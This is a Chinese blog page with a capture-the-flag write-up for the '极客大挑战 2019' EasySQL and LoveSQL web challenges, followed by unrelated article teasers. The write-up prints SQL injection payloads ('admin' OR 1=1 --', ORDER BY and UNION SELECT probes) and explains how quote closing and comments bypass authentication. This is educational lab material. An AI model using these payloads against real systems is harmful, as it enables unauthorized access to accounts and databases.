news 2026/8/7 7:33:03

【WP】ctf-web-[极客大挑战 2019]EasySQL+LoveSQL

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【WP】ctf-web-[极客大挑战 2019]EasySQL+LoveSQL

EasySQL

简简简简单单单单SQL

  1. 尝试:
    ?username=admin%27+OR+1%3D1±-+&password=1
    报错:# You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘1’’ at line 1
    分析:1‘
    左边差一个单引号
  2. 输入正确payload:
    ?username=admin%27+OR+1%3D1±-+&password=%271
    成功:

LoveSQL

简简简单单单SQL

  1. ?username=admin%27+OR+1%3D1±-+&password=%27

  2. 这个MD5解不出来,是烟雾弹?!
  3. 尝试SQL注入: 尝试在username参数上使用union select查询
    1. ?username=admin' order by 3 -- -&password=123(order by 4时候报错,3列)
    2. ?username=admin' union select 1,2,3 -- -&password=123(2,3)
    3. ?username=admin' union select 1,database(),3 -- -&password=123
    4. ……
    5. 基本查询操作之后得到flag

知识点

SQL注入原理简要说明

SQL注入是一种常见的Web安全漏洞,攻击者通过在用户输入中插入恶意SQL代码,欺骗后端数据库执行非预期的SQL命令。理解SQL注入的关键在于掌握单引号闭合注释符的作用。

单引号闭合原理

在SQL查询中,字符串值通常用单引号包裹,例如:

SELECT*FROMusersWHEREusername='admin'ANDpassword='123'

如果用户输入admin' OR 1=1 --,查询语句会变成:

SELECT*FROMusersWHEREusername='admin'OR1=1-- ' AND password = '123'

这里的'用于闭合原本包裹用户名的前单引号,使OR 1=1成为查询条件的一部分。

注释符的作用

--(或#)是SQL中的单行注释符,它会注释掉其后的所有内容。在上面的例子中,--注释掉了原本的' AND password = '123'部分,使得密码验证条件失效。

Payload构造逻辑

理解了这两个原理,就能明白为什么常见的SQL注入payload这样构造:

  • admin' OR 1=1 --:用'闭合前单引号,添加永真条件OR 1=1,再用--注释掉后续查询
  • admin' --:用'闭合前单引号,直接注释掉密码验证部分

这种构造方式可以绕过原本的身份验证逻辑,实现未授权访问。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/7 7:31:20

基于CW32F030C8T6与OV5647的实时目标追踪系统设计与电赛实践

1. 项目背景与核心挑战解析去年参加电赛E题的经历,现在回想起来依然觉得是一次对硬件、算法和心态的全方位考验。题目“运动目标控制和自动追踪系统”听起来很酷,但真正上手才知道,它要求你在一个动态的、非结构化的环境中,让一个…

作者头像 李华
网站建设 2026/8/7 7:31:18

全国产硬件通信平台:工业自动化多协议集成与实时性优化实践

1. 项目概述:为什么我们需要一个全国产硬件通信与处理平台? 在工业自动化、物联网、边缘计算这些领域摸爬滚打十几年,我经手过无数个项目,从简单的数据采集到复杂的分布式控制系统,一个绕不开的核心就是“通信”。无论…

作者头像 李华
网站建设 2026/8/7 7:31:14

无脑入AI论文平台,掌桥科研AI VS 豆包深度横评

面对市面上层出不穷的AI工具,许多同学在论文写作时陷入了选择困难:是选功能专一的学术工具,还是用通用大模型自己调教?本文将以掌桥科研AI论文写作工具与字节跳动旗下的豆包为例,进行一次深度横评。我们将从产品定位、…

作者头像 李华
网站建设 2026/8/7 7:30:34

在线简历制作工具横评与选型指南

1. 在线简历制作工具的核心价值与选择逻辑 简历是求职过程中的第一块敲门砖。在数字化招聘时代,HR平均只用6秒就能决定一份简历的去留。传统Word排版不仅耗时耗力,还难以在视觉上脱颖而出。这就是为什么专业在线简历工具近年来持续火爆——它们解决了三个…

作者头像 李华
网站建设 2026/8/7 7:28:44

数据库连接池

引言本篇文章介绍一个四大池中的数据库连接池,里面会涉及到信号队列,智能指针,对数据库操作的二次封装(c接口)等一些基本的操作,实现连接池的四个必备的组成部分:初始连接量,最大连接…

作者头像 李华
网站建设 2026/8/7 7:28:38

自动化运维-从零开始编写ansible剧本(一)

从零开始编写Asible剧本 在日常运维中,我们经常需要在大量服务器上执行重复性任务——比如安装软件、修改配置、重启服务。Ansible 提供了两种执行方式:Ad-Hoc 命令 和 Playbook(剧本)。Ad-Hoc 适合临时性的快速操作,…

作者头像 李华